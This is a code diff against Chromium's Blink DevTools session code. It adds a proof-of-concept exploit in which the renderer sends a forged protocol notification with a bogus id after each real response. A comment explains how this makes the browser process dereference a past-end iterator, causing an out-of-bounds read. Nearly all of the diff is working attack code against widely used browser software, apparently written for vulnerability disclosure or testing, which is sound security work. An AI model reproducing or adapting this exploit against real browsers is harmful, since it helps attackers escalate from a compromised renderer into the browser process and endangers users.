diff --git a/third_party/blink/renderer/core/inspector/devtools_session.cc b/third_party/blink/renderer/core/inspector/devtools_session.cc
index c84e946e7c174..c2b14ec03817e 100644
--- a/third_party/blink/renderer/core/inspector/devtools_session.cc
+++ b/third_party/blink/renderer/core/inspector/devtools_session.cc
@@ -351,6 +351,23 @@ void DevToolsSession::SendProtocolResponse(int call_id,
   host_remote_->DispatchProtocolResponse(
       FinalizeMessage(std::move(message), call_id), call_id,
       session_state_.TakeUpdates());
+
+  // PoC: After sending the legitimate response, also send a forged
+  // notification carrying a bogus "id" field. DispatchProtocolNotification
+  // performs no call_id validation, so the browser forwards it straight to
+  // the DevToolsAgentHostClient. When SimpleDevToolsProtocolClient receives
+  // it, DispatchProtocolMessageTask looks up id 99999 in
+  // pending_response_map_, gets cend(), calls ShutdownForBadMessage (which
+  // does not return early), and falls through to dereference the past-end
+  // iterator -- triggering an OOB read in the browser process.
+  if (!poc_notification_sent_) {
+    poc_notification_sent_ = true;
+    std::string forged_json = "{\"id\":99999,\"result\":{}}";
+    std::vector<uint8_t> forged_bytes(forged_json.begin(), forged_json.end());
+    auto forged_msg = mojom::blink::DevToolsMessage::New();
+    forged_msg->data = {forged_bytes};
+    host_remote_->DispatchProtocolNotification(std::move(forged_msg), nullptr);
+  }
 }
 
 void DevToolsSession::SendProtocolNotification(
diff --git a/third_party/blink/renderer/core/inspector/devtools_session.h b/third_party/blink/renderer/core/inspector/devtools_session.h
index 0efe922e24711..c2d06e6527d20 100644
--- a/third_party/blink/renderer/core/inspector/devtools_session.h
+++ b/third_party/blink/renderer/core/inspector/devtools_session.h
@@ -181,6 +181,7 @@ class CORE_EXPORT DevToolsSession
   Vector<base::OnceCallback<std::vector<uint8_t>()>> notification_queue_;
   const bool client_expects_binary_responses_;
   const bool client_is_trusted_;
+  bool poc_notification_sent_ = false;
   InspectorAgentState v8_session_state_;
   InspectorAgentState::Bytes v8_session_state_cbor_;
   String script_to_evaluate_on_load_;